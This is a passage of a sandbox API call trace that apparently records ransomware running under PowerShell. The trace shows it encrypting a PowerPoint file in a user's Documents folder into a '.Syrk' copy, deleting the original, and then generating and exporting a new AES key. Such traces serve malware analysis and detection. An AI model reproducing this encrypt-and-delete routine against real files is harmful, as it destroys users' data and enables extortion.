(lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0216.234] GetFileType (hFile=0x44c) returned 0x1 [0216.234] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0216.234] GetFileType (hFile=0x44c) returned 0x1 [0216.234] EtwEventActivityIdControl () returned 0x0 [0216.235] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.235] EtwEventActivityIdControl () returned 0x0 [0216.235] EtwEventActivityIdControl () returned 0x0 [0216.235] EtwEventActivityIdControl () returned 0x0 [0216.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0216.237] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", lpFilePart=0x0) returned 0x46 [0216.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dfa0) returned 1 [0216.237] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x430 [0216.242] GetFileType (hFile=0x430) returned 0x1 [0216.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2df9c) returned 1 [0216.242] GetFileType (hFile=0x430) returned 0x1 [0216.242] EtwEventActivityIdControl () returned 0x0 [0216.242] CryptGenRandom (in: hProv=0x5c4cee0, dwLen=0x10, pbBuffer=0x23e090c | out: pbBuffer=0x23e090c) returned 1 [0216.244] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0216.244] CryptDuplicateKey (in: hKey=0x5c69200, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e6ec | out: phKey=0x5a2e6ec*=0x5c69140) returned 1 [0216.244] CryptContextAddRef (hProv=0x5c4cee0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0216.244] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x4, pbData=0x23e1c38*=0x1, dwFlags=0x0) returned 1 [0216.244] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x1, pbData=0x23e1c04, dwFlags=0x0) returned 1 [0216.244] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.245] EtwEventActivityIdControl () returned 0x0 [0216.245] EtwEventActivityIdControl () returned 0x0 [0216.245] EtwEventActivityIdControl () returned 0x0 [0216.247] EtwEventActivityIdControl () returned 0x0 [0216.247] ReadFile (in: hFile=0x44c, lpBuffer=0x23e4880, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x23e4880*, lpNumberOfBytesRead=0x5a2e6fc*=0xccf8, lpOverlapped=0x0) returned 1 [0216.250] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x23f8898*, pdwDataLen=0x5a2e6f0*=0xccf0, dwBufLen=0xccf0 | out: pbData=0x23f8898*, pdwDataLen=0x5a2e6f0*=0xccf0) returned 1 [0216.251] WriteFile (in: hFile=0x430, lpBuffer=0x23e09e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23e09e8*, lpNumberOfBytesWritten=0x5a2e6d4*=0x1000, lpOverlapped=0x0) returned 1 [0216.254] WriteFile (in: hFile=0x430, lpBuffer=0x23f9884*, nNumberOfBytesToWrite=0xbd04, lpNumberOfBytesWritten=0x5a2e6d4, lpOverlapped=0x0 | out: lpBuffer=0x23f9884*, lpNumberOfBytesWritten=0x5a2e6d4*=0xbd04, lpOverlapped=0x0) returned 1 [0216.256] ReadFile (in: hFile=0x44c, lpBuffer=0x23e4880, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e6fc, lpOverlapped=0x0 | out: lpBuffer=0x23e4880*, lpNumberOfBytesRead=0x5a2e6fc*=0x0, lpOverlapped=0x0) returned 1 [0216.256] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2405594*, pdwDataLen=0x5a2e744*=0x10, dwBufLen=0x10 | out: pbData=0x2405594*, pdwDataLen=0x5a2e744*=0x10) returned 1 [0216.256] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x24055b0*, pdwDataLen=0x5a2e74c*=0x0, dwBufLen=0x10 | out: pbData=0x24055b0*, pdwDataLen=0x5a2e74c*=0x10) returned 1 [0216.256] WriteFile (in: hFile=0x430, lpBuffer=0x23e09e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e71c, lpOverlapped=0x0 | out: lpBuffer=0x23e09e8*, lpNumberOfBytesWritten=0x5a2e71c*=0x10, lpOverlapped=0x0) returned 1 [0216.256] CloseHandle (hObject=0x430) returned 1 [0216.260] CloseHandle (hObject=0x44c) returned 1 [0216.260] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.261] EtwEventActivityIdControl () returned 0x0 [0216.261] EtwEventActivityIdControl () returned 0x0 [0216.261] EtwEventActivityIdControl () returned 0x0 [0216.536] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0216.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.539] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.540] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0216.540] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0216.540] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0216.541] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0216.541] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0216.541] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0216.541] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0216.541] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0216.541] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0216.541] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0216.542] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0216.542] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0216.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0216.542] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0216.542] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0216.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0216.543] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp")) returned 0x10 [0216.543] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0216.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP", lpFilePart=0x0) returned 0x30 [0216.544] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0216.544] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.545] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e490) returned 1 [0216.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.548] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.548] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt\\*"), lpFindFileData=0x5a2e240 | out: lpFindFileData=0x5a2e240*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0216.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e200) returned 1 [0216.549] CoTaskMemAlloc (cb=0x404) returned 0x5c97e20 [0216.549] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c97e20, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0216.549] CoTaskMemFree (pv=0x5c97e20) [0216.552] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 0x20 [0216.552] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0216.552] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", nBufferLength=0x42, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt", lpFilePart=0x0) returned 0x41 [0216.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e158) returned 1 [0216.552] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt"), fInfoLevelId=0x0, lpFileInformation=0x2443f84 | out: lpFileInformation=0x2443f84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x213aec10, ftCreationTime.dwHighDateTime=0x1d990aa, ftLastAccessTime.dwLowDateTime=0xab564c70, ftLastAccessTime.dwHighDateTime=0x1d99567, ftLastWriteTime.dwLowDateTime=0xab564c70, ftLastWriteTime.dwHighDateTime=0x1d99567, nFileSizeHigh=0x0, nFileSizeLow=0xccf8)) returned 1 [0216.552] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e154) returned 1 [0216.552] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt")) returned 1 [0216.555] EtwEventActivityIdControl () returned 0x0 [0216.555] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.555] EtwEventActivityIdControl () returned 0x0 [0216.555] EtwEventActivityIdControl () returned 0x0 [0216.555] EtwEventActivityIdControl () returned 0x0 [0216.563] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt.syrk")) returned 0x20 [0216.564] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt.syrk")) returned 0x20 [0216.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0216.564] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", nBufferLength=0x47, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk", lpFilePart=0x0) returned 0x46 [0216.564] EtwEventActivityIdControl () returned 0x0 [0216.565] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.565] EtwEventActivityIdControl () returned 0x0 [0216.565] EtwEventActivityIdControl () returned 0x0 [0216.565] EtwEventActivityIdControl () returned 0x0 [0216.569] EtwEventActivityIdControl () returned 0x0 [0216.569] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.570] EtwEventActivityIdControl () returned 0x0 [0216.570] EtwEventActivityIdControl () returned 0x0 [0216.570] EtwEventActivityIdControl () returned 0x0 [0216.573] EtwEventActivityIdControl () returned 0x0 [0216.573] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.574] EtwEventActivityIdControl () returned 0x0 [0216.574] EtwEventActivityIdControl () returned 0x0 [0216.574] EtwEventActivityIdControl () returned 0x0 [0216.860] EtwEventActivityIdControl () returned 0x0 [0216.861] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.862] EtwEventActivityIdControl () returned 0x0 [0216.862] EtwEventActivityIdControl () returned 0x0 [0216.862] EtwEventActivityIdControl () returned 0x0 [0216.866] EtwEventActivityIdControl () returned 0x0 [0216.867] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e35c, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.867] EtwEventActivityIdControl () returned 0x0 [0216.867] EtwEventActivityIdControl () returned 0x0 [0216.867] EtwEventActivityIdControl () returned 0x0 [0216.872] EtwEventActivityIdControl () returned 0x0 [0216.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd4) returned 1 [0216.878] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\ahvIkv6BhGP\\hd6YwW0KHas8.ppt.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\ahvikv6bhgp\\hd6yww0khas8.ppt.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2450954 | out: lpFileInformation=0x2450954*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd15a650, ftCreationTime.dwHighDateTime=0x1da385f, ftLastAccessTime.dwLowDateTime=0xfd15a650, ftLastAccessTime.dwHighDateTime=0x1da385f, ftLastWriteTime.dwLowDateTime=0xfd1807b0, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0xcd14)) returned 1 [0216.878] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dbd0) returned 1 [0216.880] GetConsoleOutputCP () returned 0x1b5 [0216.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0216.880] GetConsoleOutputCP () returned 0x1b5 [0216.880] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0216.881] GetConsoleOutputCP () returned 0x1b5 [0216.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.881] GetConsoleOutputCP () returned 0x1b5 [0216.881] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.881] GetConsoleOutputCP () returned 0x1b5 [0216.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0216.882] GetConsoleOutputCP () returned 0x1b5 [0216.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0216.882] GetConsoleOutputCP () returned 0x1b5 [0216.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.882] GetConsoleOutputCP () returned 0x1b5 [0216.882] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.882] GetConsoleOutputCP () returned 0x1b5 [0216.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0216.883] GetConsoleOutputCP () returned 0x1b5 [0216.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0216.883] GetConsoleOutputCP () returned 0x1b5 [0216.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.883] GetConsoleOutputCP () returned 0x1b5 [0216.883] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.883] GetConsoleOutputCP () returned 0x1b5 [0216.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e2fc, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e2fc) returned 0 [0216.884] GetConsoleOutputCP () returned 0x1b5 [0216.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e384, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e384) returned 0 [0216.884] GetConsoleOutputCP () returned 0x1b5 [0216.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.884] GetConsoleOutputCP () returned 0x1b5 [0216.884] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e360, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e360) returned 0 [0216.884] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e44c | out: lpConsoleScreenBufferInfo=0x5a2e44c) returned 1 [0216.885] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0216.885] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x248b440*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x248b440*, lpNumberOfCharsWritten=0x5a2e438*=0x4f) returned 1 [0216.886] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e444 | out: lpMode=0x5a2e444) returned 1 [0216.886] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e438, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e438*=0x2) returned 1 [0216.889] EtwEventActivityIdControl () returned 0x0 [0216.889] EtwEventActivityIdControl () returned 0x0 [0216.890] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.891] EtwEventActivityIdControl () returned 0x0 [0216.891] EtwEventActivityIdControl () returned 0x0 [0216.891] EtwEventActivityIdControl () returned 0x0 [0216.894] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.894] EtwEventActivityIdControl () returned 0x0 [0216.894] EtwEventActivityIdControl () returned 0x0 [0216.894] EtwEventActivityIdControl () returned 0x0 [0216.897] CryptAcquireContextW (in: phProv=0x5a2e400, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e400*=0x5c4d100) returned 1 [0216.899] CryptGenKey (in: hProv=0x5c4d100, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e840 | out: phKey=0x5a2e840*=0x5c69180) returned 1 [0216.899] CryptContextAddRef (hProv=0x5c4d100, pdwReserved=0x0, dwFlags=0x0) returned 1 [0216.899] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e82c | out: pbData=0x0*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0216.899] CryptExportKey (in: hKey=0x5c69180, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x2492f6c, pdwDataLen=0x5a2e82c | out: pbData=0x2492f6c*, pdwDataLen=0x5a2e82c*=0x2c) returned 1 [0216.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e3f8, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0216.900] EtwEventActivityIdControl () returned 0x0 [0216.900] EtwEventActivityIdControl () returned 0x0 [0216.900] EtwEventActivityIdControl () returned 0x0 [0216.901] SysStringLen (param_1="") returned 0x8 [0216.901] SysStringLen (param_1="w") returned 0x8 